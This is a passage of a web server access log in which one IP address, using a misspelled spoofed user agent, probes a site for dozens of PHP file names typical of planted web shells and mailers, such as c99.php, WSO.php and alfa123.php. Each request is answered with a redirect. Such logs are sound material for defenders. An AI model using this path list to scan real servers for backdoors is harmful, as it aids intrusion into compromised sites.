HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:11 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:15 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:18 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:23 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:28 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:31 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:37 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:40 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:41 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:46 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:48 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:50 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:53 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:44:55 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:00 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:03 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:05 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:06 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:09 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:11 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:18 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:20 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:22 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:26 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:28 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:30 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:33 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:38 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:40 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:42 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:46 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:49 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:52 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:45:57 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:00 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:04 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:06 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:10 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:14 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:18 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:20 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:26 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:29 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:33 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:37 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:39 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:42 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:47 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:49 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:51 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:46:57 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:02 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:06 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:10 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:15 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:18 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:20 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:22 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:25 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:28 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:32 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:38 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:42 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:48 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:56 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:47:58 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:00 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:04 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:06 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:11 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:14 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:19 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:23 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:25 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:30 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:33 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:36 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:38 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:42 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:47 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:49 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:53 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:55 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:48:58 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:03 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:06 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:10 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:13 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:16 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:23 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:25 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 18.223.108.59 - - [22/Apr/2025:23:49:26 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 167.172.21.236 - - [22/Apr/2025:23:49:27 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:32 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:35 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:49:37 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like 